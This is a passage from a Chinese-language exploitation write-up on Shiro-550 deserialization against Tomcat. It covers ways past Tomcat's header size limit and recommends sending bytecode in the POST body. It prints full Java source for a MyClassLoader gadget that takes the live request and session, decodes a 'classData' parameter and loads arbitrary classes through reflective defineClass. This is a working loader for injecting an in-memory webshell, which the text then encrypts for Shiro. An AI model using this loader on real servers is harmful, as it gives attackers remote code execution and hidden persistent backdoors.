shiro+tomcat环境成功:
三、绕过maxHttpHeaderSize为了方便测试,在以上的环境测试中,我进行了maxHttpHeaderSize参数的修改。
如果我们换成默认值的话,其实会爆出一个400的错误,如下
原因在于tomcat的maxHttpHeaderSize默认值只有 4096 个字节(4k),加密编码后的字节码数据远大于这个4096个字节,所以会爆出400的错误。目前找到三种解决方案并给出对应的文章链接
1)修改maxHttpHeaderSize
Shiro 550 漏洞学习 (二):内存马注入及回显
2)将class bytes使用gzip+base64压缩编码
tomcat结合shiro无文件webshell的技术研究以及检测方法
3)从POST请求体中发送字节码数据
Java代码执行漏洞中类动态加载的应用
这里我推荐使用第三种方案,就是在post请求体中发送加密编码后的BehinderFilter.java
1)从POST请求体中发送字节码数据根据师傅的方案,不借助于反序列化恶意filter来注入,而是反序列化一个MyClassLoader,其逻辑为
静态代码块中获取了Spring Boot上下文里的request,response和session,然后获取classData参数并通过反射调用defineClass动态加载此类,实例化后调用其中的equals方法传入request,response和session三个对象
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class MyClassLoader extends AbstractTranslet { static{ try{ javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest(); java.lang.reflect.Field r=request.getClass().getDeclaredField("request"); r.setAccessible(true); org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse(); javax.servlet.http.HttpSession session = request.getSession(); String classData=request.getParameter("classData"); byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length); cc.newInstance().equals(new Object[]{request,response,session}); }catch(Exception e){ e.printStackTrace(); } } @Override public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException { } @Override public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException { } }通过shiro的AES+Base64加密MyClassLoader.java拿到加密后的数据